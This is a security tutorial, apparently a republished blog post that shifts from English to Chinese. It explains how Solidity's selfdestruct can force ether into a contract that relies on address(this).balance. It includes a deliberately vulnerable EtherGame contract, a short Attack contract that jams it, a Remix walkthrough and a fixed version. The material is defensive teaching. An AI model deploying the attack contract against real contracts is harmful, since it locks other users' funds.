Blockchain Contract Security Series (3): How to recognize and prevent self-destruct attacks in public chain contracts

id:BSN_2021 Official Account: BSN Research Institute Author: Zhang Xueliang, Red Date Technology

Background: Since all the information in the public chain environment is shared, the smart contract is equivalent to being completely transparent, and anyone can call it, plus some profit-driven, which has led to many hacker attacks. Among them, the self destruct attack is also one of the common attack methods.

Goal: To paralyze the target contract and make it impossible to do normal business, so as to recognize and prevent self-destruct attack vulnerabilities.

Object: Applicable to smart contracts developed in Solidity language, such as smart contracts running on Wuhan Chain (based on ETH) and Taian Chain (based on fisco bcos) in BSN.

foreword

Before getting into the topic, let me take you from the basic knowledge to how to attack and prevent. Okay, enough nonsense, let’s first look at the official explanation of selfdestruct:

selfdestruct(address payable recipient)

Destroy the current contract, sending its funds to the given Address and end execution

It is also very simple to understand, that is to say, when the contract is destroyed, ether can be transferred to the specified address.

Common usage : When our contract has a loophole or a business change, it needs to be destroyed to avoid more impact. At this point, a destruction method can be provided in the contract;

Examples are as follows:

pragma solidity >=0.7.0 <0.9.0;
contract Destructible {
    address payable owner;
    constructor() {
       owner = payable(msg.sender); 
    }
   
     // 销毁合约
    function destroy() public {
        if (msg.sender == owner){
           selfdestruct(owner);
        }
    }
}

When it needs to be destroyed, the owner of the contract can call destory()the method to destroy the contract.

Next, we officially enter the topic, how to use self-destory to attack.

attack demo

1. Example contract

There are two contracts needed for the demonstration, one is a simulated business contract and the other is an attack contract.

Business contract: a simple game, each user can deposit 1ether into the contract each time, the user who waits for the 7th deposit will become the winner, and can transfer 7ether to his account.

Attacking the contract: A contract destruction method is written, that is, ether will be sent to the specified contract when the contract is destroyed.

Attack logic: call the attack method of the attack contract, so that the balance of the above business contract exceeds 7.

Examples are as follows:

pragma solidity >=0.7.0 <0.9.0;

// 业务合约
contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;
    // 充值ether
    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }
    // 提取ether
    function claimReward() public {
        require(msg.sender == winner, "Not winner");
        winner = address(0);
        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
    // 查询当前余额
    function balanceOf() public view returns (uint){
        return address(this).balance;
    }
}
// 攻击合约
contract Attack {

    EtherGame etherGame;
    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }
    
    // 合约销毁和发送ether
    function attack() public payable {
        // 发送ether到指定的业务合约
        selfdestruct(payable(address(etherGame)));
    }

}

2. Contract deployment

As usual, we use remix for deployment testing.

After successful deployment, the screenshot is as follows:alt

alt

3. Normal business operations

准备两个账户A和B,分别为100ether。 具体操作流程为:A调用5次存放5ether,B调用2次存放2ether,B将成为winner,然后提取7ether。

两个账户合计调用7次后,查询余额以及winner信息,截图如下: alt

B账户提取ether,结果截图如下: alt

alt

上面的图中可以看到,B账户成功的提取了合约里的7 ether。

4. 攻击操作

我们还是用上面的两个账户账户A和B。 具体操作流程为:A调用5次存放5ether,B调用攻击合约的attack方法并发送3ether。

alt

上图可以发现业务合约当前余额为8 ether。

alt

上图可以看到攻击合约的owner变为0x0地址。

到此,业务合约已被攻击,即业务无法正常进行,不能存放以及提取。

下面,我们进行测试depoit和claimReward的方法调用,结果信息截图如下:

alt

解决方案

最后,给大家推荐一个常用的方案:将全局address(this).balance改为变量统计进入deposit逻辑的ether数量。

最终代码如下所示:


pragma solidity >=0.7.0 <0.9.0;

// 业务合约
contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;
    uint public balance;// 记录ether数量
    // 充值ether
    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        balance += msg.value;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }
    // 提取ether
    function claimReward() public {
        require(msg.sender == winner, "Not winner");
        winner = address(0);
        (bool sent, ) = msg.sender.call{value: balance}("");
        require(sent, "Failed to send Ether");
        
    }
    // 查询当前余额
    function balanceOf() public view returns (uint){
        return address(this).balance;
    }
}

今天的讲解到此结束,感谢大家的阅读,如果你有其他的想法或者建议,欢迎一块交流。

本文由 mdnice 多平台发布

Guess you like

Origin blog.csdn.net/BSN_yanxishe/article/details/125808184